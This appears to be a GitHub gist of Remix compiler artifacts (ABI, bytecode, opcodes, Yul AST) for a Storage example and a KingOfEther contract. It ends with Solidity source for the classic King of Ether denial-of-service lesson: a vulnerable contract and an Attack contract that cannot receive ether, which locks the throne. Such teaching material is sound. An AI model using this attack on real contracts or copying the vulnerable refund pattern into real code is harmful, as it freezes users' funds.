"abi": [
{
"inputs": [],
"name": "balance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "claimThrone",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"name": "king",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/KingOfEther.sol": "KingOfEther"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/KingOfEther.sol": {
"keccak256": "0x63034ce1c9b0cc53f86969c7940ebc52b24052d560f1de2d0d50817a007ea9ad",
"license": "MIT",
"urls": [
"bzz-raw://976d6cacf3cf2e2ab369985a9deded8420cf6a5bfdddb4fc2175c7f3f78d8693",
"dweb:/ipfs/QmTo51YaBCpCY5WrFsBD9LUPXrtttaRpcJUwRSvz5Gz73H"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50610150806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80632e64cec11461003b5780636057361d14610059575b600080fd5b610043610075565b60405161005091906100a1565b60405180910390f35b610073600480360381019061006e91906100ed565b61007e565b005b60008054905090565b8060008190555050565b6000819050919050565b61009b81610088565b82525050565b60006020820190506100b66000830184610092565b92915050565b600080fd5b6100ca81610088565b81146100d557600080fd5b50565b6000813590506100e7816100c1565b92915050565b600060208284031215610103576101026100bc565b5b6000610111848285016100d8565b9150509291505056fea26469706673582212207a994983186f82b4b7e41c111bf3c5c50530b9bd68579aaa4929a84716797a6d64736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x150 DUP1 PUSH2 0x20 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x36 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x2E64CEC1 EQ PUSH2 0x3B JUMPI DUP1 PUSH4 0x6057361D EQ PUSH2 0x59 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x43 PUSH2 0x75 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x50 SWAP2 SWAP1 PUSH2 0xA1 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x73 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x6E SWAP2 SWAP1 PUSH2 0xED JUMP JUMPDEST PUSH2 0x7E JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 POP SWAP1 JUMP JUMPDEST DUP1 PUSH1 0x0 DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x9B DUP2 PUSH2 0x88 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0xB6 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x92 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0xCA DUP2 PUSH2 0x88 JUMP JUMPDEST DUP2 EQ PUSH2 0xD5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0xE7 DUP2 PUSH2 0xC1 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x103 JUMPI PUSH2 0x102 PUSH2 0xBC JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x111 DUP5 DUP3 DUP6 ADD PUSH2 0xD8 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 PUSH27 0x994983186F82B4B7E41C111BF3C5C50530B9BD68579AAA4929A847 AND PUSH26 0x7A6D64736F6C634300080C003300000000000000000000000000 ",
"sourceMap": "141:356:0:-:0;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@retrieve_24": {
"entryPoint": 117,
"id": 24,
"parameterSlots": 0,
"returnSlots": 1
},
"@store_15": {
"entryPoint": 126,
"id": 15,
"parameterSlots": 1,
"returnSlots": 0
},
"abi_decode_t_uint256": {
"entryPoint": 216,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_uint256": {
"entryPoint": 237,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_t_uint256_to_t_uint256_fromStack": {
"entryPoint": 146,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed": {
"entryPoint": 161,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"cleanup_t_uint256": {
"entryPoint": 136,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 188,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"validator_revert_t_uint256": {
"entryPoint": 193,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:1374:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "52:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "62:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "73:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "62:7:1"
}
]
}
]
},
"name": "cleanup_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "34:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "44:7:1",
"type": ""
}
],
"src": "7:77:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "155:53:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "172:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "195:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "177:17:1"
},
"nodeType": "YulFunctionCall",
"src": "177:24:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "165:6:1"
},
"nodeType": "YulFunctionCall",
"src": "165:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "165:37:1"
}
]
},
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "143:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "150:3:1",
"type": ""
}
],
"src": "90:118:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "312:124:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "322:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "334:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "345:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "330:3:1"
},
"nodeType": "YulFunctionCall",
"src": "330:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "322:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "402:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "415:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "426:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "411:3:1"
},
"nodeType": "YulFunctionCall",
"src": "411:17:1"
}
],
"functionName": {
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulIdentifier",
"src": "358:43:1"
},
"nodeType": "YulFunctionCall",
"src": "358:71:1"
},
"nodeType": "YulExpressionStatement",
"src": "358:71:1"
}
]
},
"name": "abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "284:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "296:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "307:4:1",
"type": ""
}
],
"src": "214:222:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "482:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "492:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "508:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "502:5:1"
},
"nodeType": "YulFunctionCall",
"src": "502:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "492:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "475:6:1",
"type": ""
}
],
"src": "442:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "612:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "629:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "632:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "622:6:1"
},
"nodeType": "YulFunctionCall",
"src": "622:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "622:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "523:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "735:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "752:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "755:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "745:6:1"
},
"nodeType": "YulFunctionCall",
"src": "745:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "745:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "646:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "812:79:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "869:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "878:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "881:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "871:6:1"
},
"nodeType": "YulFunctionCall",
"src": "871:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "871:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "835:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "860:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "842:17:1"
},
"nodeType": "YulFunctionCall",
"src": "842:24:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "832:2:1"
},
"nodeType": "YulFunctionCall",
"src": "832:35:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "825:6:1"
},
"nodeType": "YulFunctionCall",
"src": "825:43:1"
},
"nodeType": "YulIf",
"src": "822:63:1"
}
]
},
"name": "validator_revert_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "805:5:1",
"type": ""
}
],
"src": "769:122:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "949:87:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "959:29:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "981:6:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "968:12:1"
},
"nodeType": "YulFunctionCall",
"src": "968:20:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "959:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1024:5:1"
}
],
"functionName": {
"name": "validator_revert_t_uint256",
"nodeType": "YulIdentifier",
"src": "997:26:1"
},
"nodeType": "YulFunctionCall",
"src": "997:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "997:33:1"
}
]
},
"name": "abi_decode_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "927:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "935:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "943:5:1",
"type": ""
}
],
"src": "897:139:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1108:263:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1154:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "1156:77:1"
},
"nodeType": "YulFunctionCall",
"src": "1156:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "1156:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1129:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1138:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "1125:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1125:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1150:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "1121:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1121:32:1"
},
"nodeType": "YulIf",
"src": "1118:119:1"
},
{
"nodeType": "YulBlock",
"src": "1247:117:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "1262:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "1276:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "1266:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "1291:63:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1326:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "1337:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1322:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1322:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1346:7:1"
}
],
"functionName": {
"name": "abi_decode_t_uint256",
"nodeType": "YulIdentifier",
"src": "1301:20:1"
},
"nodeType": "YulFunctionCall",
"src": "1301:53:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1291:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1078:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "1089:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1101:6:1",
"type": ""
}
],
"src": "1042:329:1"
}
]
},
"contents": "{\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function validator_revert_t_uint256(value) {\n if iszero(eq(value, cleanup_t_uint256(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_uint256(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_uint256(value)\n }\n\n function abi_decode_tuple_t_uint256(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_uint256(add(headStart, offset), dataEnd)\n }\n\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50600436106100365760003560e01c80632e64cec11461003b5780636057361d14610059575b600080fd5b610043610075565b60405161005091906100a1565b60405180910390f35b610073600480360381019061006e91906100ed565b61007e565b005b60008054905090565b8060008190555050565b6000819050919050565b61009b81610088565b82525050565b60006020820190506100b66000830184610092565b92915050565b600080fd5b6100ca81610088565b81146100d557600080fd5b50565b6000813590506100e7816100c1565b92915050565b600060208284031215610103576101026100bc565b5b6000610111848285016100d8565b9150509291505056fea26469706673582212207a994983186f82b4b7e41c111bf3c5c50530b9bd68579aaa4929a84716797a6d64736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x36 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x2E64CEC1 EQ PUSH2 0x3B JUMPI DUP1 PUSH4 0x6057361D EQ PUSH2 0x59 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x43 PUSH2 0x75 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x50 SWAP2 SWAP1 PUSH2 0xA1 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x73 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x6E SWAP2 SWAP1 PUSH2 0xED JUMP JUMPDEST PUSH2 0x7E JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 POP SWAP1 JUMP JUMPDEST DUP1 PUSH1 0x0 DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x9B DUP2 PUSH2 0x88 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0xB6 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x92 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0xCA DUP2 PUSH2 0x88 JUMP JUMPDEST DUP2 EQ PUSH2 0xD5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0xE7 DUP2 PUSH2 0xC1 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x103 JUMPI PUSH2 0x102 PUSH2 0xBC JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x111 DUP5 DUP3 DUP6 ADD PUSH2 0xD8 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 PUSH27 0x994983186F82B4B7E41C111BF3C5C50530B9BD68579AAA4929A847 AND PUSH26 0x7A6D64736F6C634300080C003300000000000000000000000000 ",
"sourceMap": "141:356:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;416:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;271:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;416:79;457:7;482:6;;475:13;;416:79;:::o;271:64::-;325:3;316:6;:12;;;;271:64;:::o;7:77:1:-;44:7;73:5;62:16;;7:77;;;:::o;90:118::-;177:24;195:5;177:24;:::i;:::-;172:3;165:37;90:118;;:::o;214:222::-;307:4;345:2;334:9;330:18;322:26;;358:71;426:1;415:9;411:17;402:6;358:71;:::i;:::-;214:222;;;;:::o;523:117::-;632:1;629;622:12;769:122;842:24;860:5;842:24;:::i;:::-;835:5;832:35;822:63;;881:1;878;871:12;822:63;769:122;:::o;897:139::-;943:5;981:6;968:20;959:29;;997:33;1024:5;997:33;:::i;:::-;897:139;;;;:::o;1042:329::-;1101:6;1150:2;1138:9;1129:7;1125:23;1121:32;1118:119;;;1156:79;;:::i;:::-;1118:119;1276:1;1301:53;1346:7;1337:6;1326:9;1322:22;1301:53;:::i;:::-;1291:63;;1247:117;1042:329;;;;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "67200",
"executionCost": "117",
"totalCost": "67317"
},
"external": {
"retrieve()": "2415",
"store(uint256)": "22520"
}
},
"methodIdentifiers": {
"retrieve()": "2e64cec1",
"store(uint256)": "6057361d"
}
},
"abi": [
{
"inputs": [],
"name": "retrieve",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "num",
"type": "uint256"
}
],
"name": "store",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.12+commit.f00d7308"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [],
"name": "retrieve",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "num",
"type": "uint256"
}
],
"name": "store",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"details": "Store & retrieve value in a variable",
"kind": "dev",
"methods": {
"retrieve()": {
"details": "Return value ",
"returns": {
"_0": "value of 'number'"
}
},
"store(uint256)": {
"details": "Store value in variable",
"params": {
"num": "value to store"
}
}
},
"title": "Storage",
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/1_Storage.sol": "Storage"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/1_Storage.sol": {
"keccak256": "0xb6ee9d528b336942dd70d3b41e2811be10a473776352009fd73f85604f5ed206",
"license": "GPL-3.0",
"urls": [
"bzz-raw://fe52c6e3c04ba5d83ede6cc1a43c45fa43caa435b207f64707afb17d3af1bcf1",
"dweb:/ipfs/QmawU3NM1WNWkBauRudYCiFvuFE1tTLHB98akyBvb9UWwA"
]
}
},
"version": 1
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract KingOfEther {
address public king;
uint public balance;
function claimThrone() external payable {
require(msg.value > balance, "Need to pay more to become the king");
(bool sent, ) = king.call{value: balance}("");
require(sent, "Failed to send Ether");
balance = msg.value;
king = msg.sender;
}
}
// Doesn't have "receive" or "fallback" - can not receive ether
contract Attack {
KingOfEther kingOfEther;
constructor(KingOfEther _kingOfEther) {
kingOfEther = KingOfEther(_kingOfEther);
}
// You can also perform a DOS by consuming all gas using assert.
// This attack will work even if the calling contract does not check
// whether the call was successful or not.
//
// function () external payable {
// assert(false);
// }
function attack() public payable {
kingOfEther.claimThrone{value: msg.value}();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment